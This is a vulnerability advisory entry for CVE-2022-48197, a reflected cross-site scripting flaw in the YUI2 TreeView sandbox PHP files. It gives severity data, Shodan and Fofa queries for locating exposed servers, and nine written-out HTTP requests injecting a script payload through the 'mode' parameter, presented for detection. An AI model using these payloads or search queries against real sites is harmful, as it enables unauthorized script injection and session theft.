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CVE-2022-48197: Yahoo User Interface library (YUI2) TreeView v2.8.2 - Cross-Site Scripting

TitleYahoo User Interface library (YUI2) TreeView v2.8.2 - Cross-Site Scripting
Authorctflearner
SeverityMedium
ImpactAttackers can inject malicious JavaScript through crafted mode parameters in multiple TreeView PHP files, potentially stealing user session tokens and performing actions on behalf of victims when they access the compromised pages.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.09738
CVE IDCVE-2022-48197
CWE IDCWE-79
Shodan Queryhtml:"bower_components/yui2/"http.html:"bower_components/yui2/"
Fofa Querybody="bower_components/yui2/"
Tags cve cve2022 packetstorm yui2 xss yahoo treeview yui_project vuln

🔍 Vulnerability Description

Reflected cross-site scripting (XSS) exists in the TreeView of YUI2 through 2800: up.php sam.php renderhidden.php removechildren.php removeall.php readd.php overflow.php newnode2.php newnode.php.

🌐 HTTP Request

GET /libs/bower/bower_components/yui2/sandbox/treeview/up.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10.15, rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /libs/bower/bower_components/yui2/sandbox/treeview/sam.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Thunderbird/140.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /libs/libs/bower/bower_components/yui2/sandbox/treeview/readd.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /libs/bower/bower_components/yui2/sandbox/treeview/newnode.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /libs/bower/bower_components/yui2/sandbox/treeview/newnode2.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /libs/bower/bower_components/yui2/sandbox/treeview/removeall.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.8
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /libs/bower/bower_components/yui2/sandbox/treeview/renderhidden.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /libs/bower/bower_components/yui2/sandbox/treeview/overflow.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Safari/605.1.15
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-48197.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-48197.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A